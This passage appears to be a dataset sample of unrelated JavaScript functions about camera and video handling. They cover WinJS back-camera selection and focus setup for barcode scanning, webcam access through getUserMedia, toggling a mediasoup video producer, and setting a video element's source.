back camera\n var cameraId = null;\n var deviceInfo = Windows.Devices.Enumeration.DeviceInformation;\n if (deviceInfo) {\n deviceInfo.findAllAsync(Windows.Devices.Enumeration.DeviceClass.videoCapture).done(function (cameras) {\n if (cameras && cameras.length > 0) {\n cameras.forEach(function (camera) {\n if (camera && !cameraId) {\n // Make use of the camera's location if it is available to the description\n var camLocation = camera.enclosureLocation;\n if (camLocation && camLocation.panel === Windows.Devices.Enumeration.Panel.back) {\n cameraId = camera.id;\n }\n }\n });\n }\n if (cameraId) {\n captureSettings.videoDeviceId = cameraId;\n }\n\n capture.initializeAsync(captureSettings).done(function () {\n\n //trying to set focus mode\n var controller = capture.videoDeviceController;\n\n if (controller.focusControl && controller.focusControl.supported) {\n if (controller.focusControl.configure) {\n var focusConfig = new Windows.Media.Devices.FocusSettings();\n focusConfig.autoFocusRange = Windows.Media.Devices.AutoFocusRange.macro;\n\n var supportContinuousFocus = controller.focusControl.supportedFocusModes.indexOf(Windows.Media.Devices.FocusMode.continuous).returnValue;\n var supportAutoFocus = controller.focusControl.supportedFocusModes.indexOf(Windows.Media.Devices.FocusMode.auto).returnValue;\n\n if (supportContinuousFocus) {\n focusConfig.mode = Windows.Media.Devices.FocusMode.continuous;\n } else if (supportAutoFocus) {\n focusConfig.mode = Windows.Media.Devices.FocusMode.auto;\n }\n\n controller.focusControl.configure(focusConfig);\n controller.focusControl.focusAsync();\n }\n }\n\n var deviceProps = controller.getAvailableMediaStreamProperties(Windows.Media.Capture.MediaStreamType.videoRecord);\n\n deviceProps = Array.prototype.slice.call(deviceProps);\n deviceProps = deviceProps.filter(function (prop) {\n // filter out streams with \"unknown\" subtype - causes errors on some devices\n return prop.subtype !== \"Unknown\";\n }).sort(function (propA, propB) {\n // sort properties by resolution\n return propB.width - propA.width;\n });\n\n var maxResProps = deviceProps[0];\n\n controller.setMediaStreamPropertiesAsync(Windows.Media.Capture.MediaStreamType.videoRecord, maxResProps).done(function () {\n capturePreview.src = URL.createObjectURL(capture);\n // handle orientation change\n rotateVideoOnOrientationChange = true;\n capturePreview.onloadeddata = function () {\n updatePreviewForRotation();\n };\n // add event handler - will not work anyway\n window.addEventListener(\"orientationchange\", updatePreviewForRotation, false);\n\n capturePreview.play();\n\n // Insert preview frame and controls into page\n document.body.appendChild(capturePreview);\n document.body.appendChild(capturePreviewAlignmentMark);\n document.body.appendChild(captureCancelButton);\n\n startBarcodeSearch(maxResProps.width, maxResProps.height);\n });\n });\n });\n }\n }","function getVideo() {\n // Returns a promise\n navigator.mediaDevices\n .getUserMedia({ video: true, audio: false })\n .then((localMediaStream) => {\n // console.log(localMediaStream)\n // Take video and set source object to this localMediaStream\n video.srcObject = localMediaStream;\n video.play(); // emits \"canplay\" event\n })\n .catch((err) => {\n console.error(\n 'Oh no, we need your webcam permission in order for this to work!',\n err\n );\n });\n}","function manipulatevideo(){\n if( cameravideo || capturevideo ){\n cameravideo = false;\n capturevideo = false;\n capturestream = null;\n buttonOff(document.querySelector('.app__system--button.video'));\n camerastream.getVideoTracks()[0].enabled = cameravideo;\n document.getElementById('localvideo').srcObject = camerastream;\n //-------------------CREATE NEW PRODUCER-------------------------------------------\n removeOldVideoProducers();\n let videoProducer = mediasouproom.createProducer(camerastream.getVideoTracks()[0]);\n videoProducer.send(sendTransport);\n updatevideo();\n }\n}","function getCameraElement() {\r\n var camera = document.elements.findElementByTypeId(\"Microsoft.VisualStudio.3D.PerspectiveCamera\");\r\n return camera;\r\n}","function get_video(path) {\n //with camera stream, only working if we use video here not with 'var video', but before this point video doesn't exist\n video = video2;\n \n //need to be careful here: in use_webcam() the src Object is set with video.srcObject = stream; not with video.setAttribute(). If we don't reset\n //it to null it seems to override the attributes that are set with setAttribute.\n video.srcObject = null;\n //first I created a seperate source object here, which is complete nonesense\n //it's totally dufficient to add the path from the file picker